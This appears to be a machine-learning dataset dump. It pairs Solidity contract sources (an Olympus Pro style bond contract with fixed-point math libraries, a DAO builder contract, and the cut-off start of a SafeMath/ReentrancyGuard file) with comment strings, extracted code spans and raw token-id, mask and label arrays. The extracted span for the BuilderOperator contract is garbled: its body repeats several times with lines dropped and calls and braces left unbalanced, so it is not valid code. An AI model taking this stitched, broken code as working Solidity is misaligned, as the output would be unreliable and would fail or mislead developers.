= x / r; return (r < r1 ? r : r1); } } library BitMath { function mostSignificantBit(uint256 x) internal pure returns (uint8 r) { require(x > 0, 'BitMath::mostSignificantBit: zero'); if (x >= 0x100000000000000000000000000000000) { x >>= 128; r += 128; } if (x >= 0x10000000000000000) { x >>= 64; r += 64; } if (x >= 0x100000000) { x >>= 32; r += 32; } if (x >= 0x10000) { x >>= 16; r += 16; } if (x >= 0x100) { x >>= 8; r += 8; } if (x >= 0x10) { x >>= 4; r += 4; } if (x >= 0x4) { x >>= 2; r += 2; } if (x >= 0x2) r += 1; } } library FixedPoint { struct uq112x112 { uint224 _x; } struct uq144x112 { uint256 _x; } uint8 private constant RESOLUTION = 112; uint256 private constant Q112 = 0x10000000000000000000000000000; uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000; uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits) function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } function decode112with18(uq112x112 memory self) internal pure returns (uint) { return uint(self._x) / 5192296858534827; } function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, 'FixedPoint::fraction: division by zero'); if (numerator == 0) return FixedPoint.uq112x112(0); if (numerator <= uint144(-1)) { uint256 result = (numerator << RESOLUTION) / denominator; require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } else { uint256 result = FullMath.mulDiv(numerator, Q112, denominator); require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } } // square root of a UQ112x112 // lossy between 0/1 and 40 bits function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) { if (self._x <= uint144(-1)) { return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112))); } uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x); safeShiftBits -= safeShiftBits % 2; return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2))); } } // File contracts/types/Ownable.sol pragma solidity 0.7.5; contract Ownable { address public policy; constructor () { policy = msg.sender; } modifier onlyPolicy() { require( policy == msg.sender, "Ownable: caller is not the owner" ); _; } function transferManagment(address _newOwner) external onlyPolicy() { require( _newOwner != address(0) ); policy = _newOwner; } } // File contracts/Bankless/CustomBond.sol pragma solidity 0.7.5; interface ITreasury { function deposit(address _principleTokenAddress, uint _amountPrincipleToken, uint _amountPayoutToken) external; function valueOfToken( address _principalTokenAddress, uint _amount ) external view returns ( uint value_ ); function payoutToken() external view returns (address); } contract CustomBANKBond is Ownable { using FixedPoint for *; using SafeERC20 for IERC20; using SafeMath for uint; /* ======== EVENTS ======== */ event BondCreated( uint deposit, uint payout, uint expires ); event BondRedeemed( address recipient, uint payout, uint remaining ); event BondPriceChanged( uint internalPrice, uint debtRatio ); event ControlVariableAdjustment( uint initialBCV, uint newBCV, uint adjustment, bool addition ); /* ======== STATE VARIABLES ======== */ IERC20 immutable payoutToken; // token paid for principal IERC20 immutable principalToken; // inflow token ITreasury immutable customTreasury; // pays for and receives principal address immutable olympusDAO; address olympusTreasury; // receives fee address immutable subsidyRouter; // pays subsidy in OHM to custom treasury uint public totalPrincipalBonded; uint public totalPayoutGiven; uint public totalDebt; // total value of outstanding bonds; used for pricing uint public lastDecay; // reference block for debt decay uint payoutSinceLastSubsidy; // principal accrued since subsidy paid Terms public terms; // stores terms for new bonds Adjust public adjustment; // stores adjustment to BCV data FeeTiers[] private feeTiers; // stores fee tiers bool immutable private feeInPayout; mapping( address => Bond ) public bondInfo; // stores bond information for depositors /* ======== STRUCTS ======== */ struct FeeTiers { uint tierCeilings; // principal bonded till next tier uint fees; // in ten-thousandths (i.e. 33300 = 3.33%) } // Info for creating new bonds struct Terms { uint controlVariable; // scaling variable for price uint vestingTerm; // in blocks uint minimumPrice; // vs principal value uint maxPayout; // in thousandths of a %. i.e. 500 = 0.5% uint maxDebt; // payout token decimal debt ratio, max % total supply created as debt } // Info for bond holder struct Bond { uint payout; // payout token remaining to be paid uint vesting; // Blocks left to vest uint lastBlock; // Last interaction uint truePricePaid; // Price paid (principal tokens per payout token) in ten-millionths - 4000000 = 0.4 } // Info for incremental adjustments to control variable struct Adjust { bool add; // addition or subtraction uint rate; // increment uint target; // BCV when adjustment finished uint buffer; // minimum length (in blocks) between adjustments uint lastBlock; // block when last adjustment made } /* ======== CONSTRUCTOR ======== */ constructor( address _customTreasury, address _principalToken, address _olympusTreasury, address _subsidyRouter, address _initialOwner, address _olympusDAO, uint[] memory _tierCeilings, uint[] memory _fees, bool _feeInPayout ) { require( _customTreasury != address(0) ); customTreasury = ITreasury( _customTreasury ); payoutToken = IERC20( ITreasury(_customTreasury).payoutToken() ); require( _principalToken != address(0) ); principalToken = IERC20( _principalToken ); require( _olympusTreasury != address(0) ); olympusTreasury = _olympusTreasury; require( _subsidyRouter != address(0) ); subsidyRouter = _subsidyRouter; require( _initialOwner != address(0) ); policy = _initialOwner; require( _olympusDAO != address(0) ); olympusDAO = _olympusDAO; require(_tierCeilings.length == _fees.length, "tier length and fee length not the same"); for(uint i; i < _tierCeilings.length; i++) { feeTiers.push( FeeTiers({ tierCeilings: _tierCeilings[i], fees: _fees[i] })); } feeInPayout = _feeInPayout; } /* ======== INITIALIZATION ======== */ /** * @notice initializes bond parameters * @param _controlVariable uint * @param _vestingTerm uint * @param _minimumPrice uint * @param _maxPayout uint * @param _maxDebt uint * @param _initialDebt uint */ function initializeBond( uint _controlVariable, uint _vestingTerm, uint _minimumPrice, uint _maxPayout, uint _maxDebt, uint _initialDebt ) external onlyPolicy() { require( currentDebt() == 0, "Debt must be 0 for initialization" ); terms = Terms ({ controlVariable: _controlVariable, vestingTerm: _vestingTerm, minimumPrice: _minimumPrice, maxPayout: _maxPayout, maxDebt: _maxDebt }); totalDebt = _initialDebt; lastDecay = block.number; } /* ======== POLICY FUNCTIONS ======== */ enum PARAMETER { VESTING, PAYOUT, DEBT } /** * @notice set parameters for new bonds * @param _parameter PARAMETER * @param _input uint */ function setBondTerms ( PARAMETER _parameter, uint _input ) external onlyPolicy() { if ( _parameter == PARAMETER.VESTING ) { // 0 require( _input >= 10000, "Vesting must be longer than 36 hours" ); terms.vestingTerm = _input; } else if ( _parameter == PARAMETER.PAYOUT ) { // 1 require( _input <= 1000, "Payout cannot be above 1 percent" ); terms.maxPayout = _input; } else if ( _parameter == PARAMETER.DEBT ) { // 2 terms.maxDebt = _input; } } /** * @notice set control variable adjustment * @param _addition bool * @param _increment uint * @param _target uint * @param _buffer uint */ function setAdjustment ( bool _addition, uint _increment, uint _target, uint _buffer ) external onlyPolicy() { require( _increment <= terms.controlVariable.mul( 30 ).div( 1000 ), "Increment too large" ); adjustment = Adjust({ add: _addition, rate: _increment, target: _target, buffer: _buffer, lastBlock: block.number }); } /** * @notice change address of Olympus Treasury * @param _olympusTreasury uint */ function changeOlympusTreasury(address _olympusTreasury) external { require( msg.sender == olympusDAO, "Only Olympus DAO" ); olympusTreasury = _olympusTreasury; } /** * @notice subsidy controller checks payouts since last subsidy and resets counter * @return payoutSinceLastSubsidy_ uint */ function paySubsidy() external returns ( uint payoutSinceLastSubsidy_ ) { require( msg.sender == subsidyRouter, "Only subsidy controller" ); payoutSinceLastSubsidy_ = payoutSinceLastSubsidy; payoutSinceLastSubsidy = 0; } /* ======== USER FUNCTIONS ======== */ /** * @notice deposit bond * @param _amount uint * @param _maxPrice uint * @param _depositor address * @return uint */ function deposit(uint _amount, uint _maxPrice, address _depositor) external returns (uint) { require( _depositor != address(0), "Invalid address" ); decayDebt(); uint nativePrice = trueBondPrice(); require( _maxPrice >= nativePrice, "Slippage limit: more than max price" ); // slippage protection uint value = customTreasury.valueOfToken( address(principalToken), _amount ); uint payout; uint fee; if(feeInPayout) { (payout, fee) = payoutFor( value ); // payout to bonder is computed } else { (payout, fee) = payoutFor( _amount ); // payout to bonder is computed _amount = _amount.sub(fee); } require( payout >= 10 ** payoutToken.decimals() / 100, "Bond too small" ); // must be > 0.01 payout token ( underflow protection ) require( payout <= maxPayout(), "Bond too large"); // size protection because there is no slippage // total debt is increased totalDebt = totalDebt.add( value ); require( totalDebt <= terms.maxDebt, "Max capacity reached" ); // depositor info is stored bondInfo[ _depositor ] = Bond({ payout: bondInfo[ _depositor ].payout.add( payout ), vesting: terms.vestingTerm, lastBlock: block.number, truePricePaid: trueBondPrice() }); totalPrincipalBonded = totalPrincipalBonded.add(_amount); // total bonded increased totalPayoutGiven = totalPayoutGiven.add(payout); // total payout increased payoutSinceLastSubsidy = payoutSinceLastSubsidy.add( payout ); // subsidy counter increased principalToken.approve( address(customTreasury), _amount ); if(feeInPayout) { principalToken.safeTransferFrom( msg.sender, address(this), _amount ); customTreasury.deposit( address(principalToken), _amount, payout.add(fee) ); } else { principalToken.safeTransferFrom( msg.sender, address(this), _amount.add(fee) ); customTreasury.deposit( address(principalToken), _amount, payout ); } if ( fee != 0 ) { // fee is transferred to dao if(feeInPayout) { payoutToken.safeTransfer(olympusTreasury, fee); } else { principalToken.safeTransfer( olympusTreasury, fee ); } } // indexed events are emitted emit BondCreated( _amount, payout, block.number.add( terms.vestingTerm ) ); emit BondPriceChanged( _bondPrice(), debtRatio() ); adjust(); // control variable is adjusted return payout; } /** * @notice redeem bond for user * @return uint */ function redeem(address _depositor) external returns (uint) { Bond memory info = bondInfo[ _depositor ]; uint percentVested = percentVestedFor( _depositor ); // (blocks since last interaction / vesting term remaining) if ( percentVested >= 10000 ) { // if fully vested delete bondInfo[ _depositor ]; // delete user info emit BondRedeemed( _depositor, info.payout, 0 ); // emit bond data payoutToken.safeTransfer( _depositor, info.payout ); return info.payout; } else { // if unfinished // calculate payout vested uint payout = info.payout.mul( percentVested ).div( 10000 ); // store updated deposit info bondInfo[ _depositor ] = Bond({ payout: info.payout.sub( payout ), vesting: info.vesting.sub( block.number.sub( info.lastBlock ) ), lastBlock: block.number, truePricePaid: info.truePricePaid }); emit BondRedeemed( _depositor, payout, bondInfo[ _depositor ].payout ); payoutToken.safeTransfer( _depositor, payout ); return payout; } } /* ======== INTERNAL HELPER FUNCTIONS ======== */ /** * @notice makes incremental adjustment to control variable */ function adjust() internal { uint blockCanAdjust = adjustment.lastBlock.add( adjustment.buffer ); if( adjustment.rate != 0 && block.number >= blockCanAdjust ) { uint initial = terms.controlVariable; if ( adjustment.add ) { terms.controlVariable = terms.controlVariable.add( adjustment.rate ); if ( terms.controlVariable >= adjustment.target ) { adjustment.rate = 0; } } else { terms.controlVariable = terms.controlVariable.sub( adjustment.rate ); if ( terms.controlVariable <= adjustment.target ) { adjustment.rate = 0; } } adjustment.lastBlock = block.number; emit ControlVariableAdjustment( initial, terms.controlVariable, adjustment.rate, adjustment.add ); } } /** * @notice reduce total debt */ function decayDebt() internal { totalDebt = totalDebt.sub( debtDecay() ); lastDecay = block.number; } /** * @notice calculate current bond price and remove floor if above * @return price_ uint */ function _bondPrice() internal returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).div( 10 ** (uint256(payoutToken.decimals()).sub(5)) ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } else if ( terms.minimumPrice != 0 ) { terms.minimumPrice = 0; } } /* ======== VIEW FUNCTIONS ======== */ /** * @notice calculate current bond premium * @return price_ uint */ function bondPrice() public view returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).div( 10 ** (uint256(payoutToken.decimals()).sub(5)) ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } } /** * @notice calculate true bond price a user pays * @return price_ uint */ function trueBondPrice() public view returns ( uint price_ ) { price_ = bondPrice().add(bondPrice().mul( currentOlympusFee() ).div( 1e6 ) ); } /** * @notice determine maximum bond size * @return uint */ function maxPayout() public view returns ( uint ) { return payoutToken.totalSupply().mul( terms.maxPayout ).div( 100000 ); } /** * @notice calculate user's interest due for new bond, accounting for Olympus Fee. If fee is in payout then takes in the already calcualted value. If fee is in principal token than takes in the amount of principal being deposited and then calculautes the fee based on the amount of principal and not in terms of the payout token * @param _value uint * @return _payout uint * @return _fee uint */ function payoutFor( uint _value ) public view returns ( uint _payout, uint _fee) { if(feeInPayout) { uint total = FixedPoint.fraction( _value, bondPrice() ).decode112with18().div( 1e11 ); _fee = total.mul( currentOlympusFee() ).div( 1e6 ); _payout = total.sub(_fee); } else { _fee = _value.mul( currentOlympusFee() ).div( 1e6 ); _payout = FixedPoint.fraction( customTreasury.valueOfToken(address(principalToken), _value.sub(_fee)), bondPrice() ).decode112with18().div( 1e11 ); } } /** * @notice calculate current ratio of debt to payout token supply * @notice protocols using Olympus Pro should be careful when quickly adding large %s to total supply * @return debtRatio_ uint */ function debtRatio() public view returns ( uint debtRatio_ ) { debtRatio_ = FixedPoint.fraction( currentDebt().mul( 10 ** payoutToken.decimals() ), payoutToken.totalSupply() ).decode112with18().div( 1e18 ); } /** * @notice calculate debt factoring in decay * @return uint */ function currentDebt() public view returns ( uint ) { return totalDebt.sub( debtDecay() ); } /** * @notice amount to decay total debt by * @return decay_ uint */ function debtDecay() public view returns ( uint decay_ ) { uint blocksSinceLast = block.number.sub( lastDecay ); decay_ = totalDebt.mul( blocksSinceLast ).div( terms.vestingTerm ); if ( decay_ > totalDebt ) { decay_ = totalDebt; } } /** * @notice calculate how far into vesting a depositor is * @param _depositor address * @return percentVested_ uint */ function percentVestedFor( address _depositor ) public view returns ( uint percentVested_ ) { Bond memory bond = bondInfo[ _depositor ]; uint blocksSinceLast = block.number.sub( bond.lastBlock ); uint vesting = bond.vesting; if ( vesting > 0 ) { percentVested_ = blocksSinceLast.mul( 10000 ).div( vesting ); } else { percentVested_ = 0; } } /** * @notice calculate amount of payout token available for claim by depositor * @param _depositor address * @return pendingPayout_ uint */ function pendingPayoutFor( address _depositor ) external view returns ( uint pendingPayout_ ) { uint percentVested = percentVestedFor( _depositor ); uint payout = bondInfo[ _depositor ].payout; if ( percentVested >= 10000 ) { pendingPayout_ = payout; } else { pendingPayout_ = payout.mul( percentVested ).div( 10000 ); } } /** * @notice current fee Olympus takes of each bond * @return currentFee_ uint */ function currentOlympusFee() public view returns( uint currentFee_ ) { uint tierLength = feeTiers.length; for(uint i; i < tierLength; i++) { if(totalPrincipalBonded < feeTiers[i].tierCeilings || i == tierLength - 1 ) { return feeTiers[i].fees; } } } }
must be > 0.01 payout token ( underflow protection )
require( payout >= 10 ** payoutToken.decimals() / 100, "Bond too small" );
33,411
[ 1, 11926, 506, 405, 374, 18, 1611, 293, 2012, 1147, 261, 3613, 2426, 17862, 262, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2583, 12, 293, 2012, 1545, 1728, 2826, 293, 2012, 1345, 18, 31734, 1435, 342, 2130, 16, 315, 9807, 4885, 5264, 6, 11272, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.4; import 'builder/Builder.sol'; import 'creator/CreatorCore.sol'; import 'creator/CreatorACLStorage.sol'; /** * @title BuilderOperator contract */ contract BuilderOperator is Builder { /** * @dev Run script creation contract * @param _dao_name is an operator DAO name * @param _dao_description is an operator DAO description * @param _operator_name is an operator name * @return address new contract */ function create(string _dao_name, string _dao_description, string _operator_name, address _client) payable returns (address) { if (buildingCostWei > 0 && beneficiary != 0) { // Too low value if (msg.value < buildingCostWei) throw; // Beneficiary send if (!beneficiary.send(buildingCostWei)) throw; // Refund if (msg.value > buildingCostWei) { if (!msg.sender.send(msg.value - buildingCostWei)) throw; } } else { // Refund all if (msg.value > 0) { if (!msg.sender.send(msg.value)) throw; } } if (_client == 0) _client = msg.sender; var core = CreatorCore.create(_dao_name, _dao_description); // Operator address core.set(_operator_name, _client, "", true); // ACL Storage var acl = CreatorACLStorage.create(); acl.setOwner(_client); acl.setHammer(_client); core.set("ACLStorage", acl, "https://github.com/airalab/core/blob/master/sol/acl/ACLStorage.sol", false); core.setOwner(_client); core.setHammer(_client); getContractsOf[_client].push(core); Builded(_client, core); return core; } }
* @title BuilderOperator contract/
contract BuilderOperator is Builder { function create(string _dao_name, string _dao_description, string _operator_name, address _client) payable returns (address) { if (buildingCostWei > 0 && beneficiary != 0) { if (msg.value < buildingCostWei) throw; if (!beneficiary.send(buildingCostWei)) throw; if (msg.value > buildingCostWei) { if (!msg.sender.send(msg.value - buildingCostWei)) throw; } if (msg.value > 0) { if (!msg.sender.send(msg.value)) throw; } } if (_client == 0) _client = msg.sender; var core = CreatorCore.create(_dao_name, _dao_description); acl.setOwner(_client); acl.setHammer(_client); core.set("ACLStorage", acl, core.setOwner(_client); core.setHammer(_client); getContractsOf[_client].push(core); Builded(_client, core); return core; } address _client) payable returns (address) { if (buildingCostWei > 0 && beneficiary != 0) { if (msg.value < buildingCostWei) throw; if (!beneficiary.send(buildingCostWei)) throw; if (msg.value > buildingCostWei) { if (!msg.sender.send(msg.value - buildingCostWei)) throw; } if (msg.value > 0) { if (!msg.sender.send(msg.value)) throw; } } if (_client == 0) _client = msg.sender; var core = CreatorCore.create(_dao_name, _dao_description); acl.setOwner(_client); acl.setHammer(_client); core.set("ACLStorage", acl, core.setOwner(_client); core.setHammer(_client); getContractsOf[_client].push(core); Builded(_client, core); return core; } address _client) payable returns (address) { if (buildingCostWei > 0 && beneficiary != 0) { if (msg.value < buildingCostWei) throw; if (!beneficiary.send(buildingCostWei)) throw; if (msg.value > buildingCostWei) { if (!msg.sender.send(msg.value - buildingCostWei)) throw; } if (msg.value > 0) { if (!msg.sender.send(msg.value)) throw; } } if (_client == 0) _client = msg.sender; var core = CreatorCore.create(_dao_name, _dao_description); acl.setOwner(_client); acl.setHammer(_client); core.set("ACLStorage", acl, core.setOwner(_client); core.setHammer(_client); getContractsOf[_client].push(core); Builded(_client, core); return core; } } else { address _client) payable returns (address) { if (buildingCostWei > 0 && beneficiary != 0) { if (msg.value < buildingCostWei) throw; if (!beneficiary.send(buildingCostWei)) throw; if (msg.value > buildingCostWei) { if (!msg.sender.send(msg.value - buildingCostWei)) throw; } if (msg.value > 0) { if (!msg.sender.send(msg.value)) throw; } } if (_client == 0) _client = msg.sender; var core = CreatorCore.create(_dao_name, _dao_description); acl.setOwner(_client); acl.setHammer(_client); core.set("ACLStorage", acl, core.setOwner(_client); core.setHammer(_client); getContractsOf[_client].push(core); Builded(_client, core); return core; } core.set(_operator_name, _client, "", true); var acl = CreatorACLStorage.create(); }
12,616,292
[ 1, 1263, 5592, 6835, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 5008, 5592, 353, 5008, 288, 203, 565, 445, 752, 12, 1080, 389, 2414, 83, 67, 529, 16, 203, 10792, 533, 389, 2414, 83, 67, 3384, 16, 203, 10792, 533, 389, 9497, 67, 529, 16, 203, 10792, 1758, 389, 2625, 13, 8843, 429, 1135, 261, 2867, 13, 288, 203, 3639, 309, 261, 3510, 310, 8018, 3218, 77, 405, 374, 597, 27641, 74, 14463, 814, 480, 374, 13, 288, 203, 5411, 309, 261, 3576, 18, 1132, 411, 10504, 8018, 3218, 77, 13, 604, 31, 203, 5411, 309, 16051, 70, 4009, 74, 14463, 814, 18, 4661, 12, 3510, 310, 8018, 3218, 77, 3719, 604, 31, 203, 5411, 309, 261, 3576, 18, 1132, 405, 10504, 8018, 3218, 77, 13, 288, 203, 7734, 309, 16051, 3576, 18, 15330, 18, 4661, 12, 3576, 18, 1132, 300, 10504, 8018, 3218, 77, 3719, 604, 31, 203, 5411, 289, 203, 5411, 309, 261, 3576, 18, 1132, 405, 374, 13, 288, 203, 7734, 309, 16051, 3576, 18, 15330, 18, 4661, 12, 3576, 18, 1132, 3719, 604, 31, 203, 5411, 289, 203, 3639, 289, 203, 203, 3639, 309, 261, 67, 2625, 422, 374, 13, 203, 5411, 389, 2625, 273, 1234, 18, 15330, 31, 203, 7010, 3639, 569, 2922, 273, 29525, 4670, 18, 2640, 24899, 2414, 83, 67, 529, 16, 389, 2414, 83, 67, 3384, 1769, 203, 7010, 203, 3639, 7895, 18, 542, 5541, 24899, 2625, 1769, 203, 3639, 7895, 18, 542, 44, 301, 6592, 24899, 2625, 1769, 203, 3639, 2922, 18, 542, 2932, 9486, 3245, 3113, 7895, 16, 203, 203, 3639, 2922, 18, 542, 2 ]
/** *Submitted for verification at Etherscan.io on 2021-04-08 */ // SPDX-License-Identifier: UNLICENSED pragma solidity 0.7.5; abstract contract ReentrancyGuard { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } modifier nonReentrant() { require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); _status = _ENTERED; _; _status = _NOT_ENTERED; } } // ---------------------------------------------------------------------------- // SafeMath library // ---------------------------------------------------------------------------- library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function ceil(uint a, uint m) internal pure returns (uint r) { return (a + m - 1) / m * m; } } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address payable public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address payable _newOwner) public onlyOwner { require(_newOwner != address(0), "ERC20: sending to the zero address"); owner = _newOwner; emit OwnershipTransferred(msg.sender, _newOwner); } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // ---------------------------------------------------------------------------- interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address tokenOwner) external view returns (uint256 balance); function allowance(address tokenOwner, address spender) external view returns (uint256 remaining); function transfer(address to, uint256 tokens) external returns (bool success); function approve(address spender, uint256 tokens) external returns (bool success); function transferFrom(address from, address to, uint256 tokens) external returns (bool success); function burnTokens(uint256 _amount) external; function calculateFeesBeforeSend( address sender, address recipient, uint256 amount ) external view returns (uint256, uint256); event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens); } interface regreward { function distributeAll() external; } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // 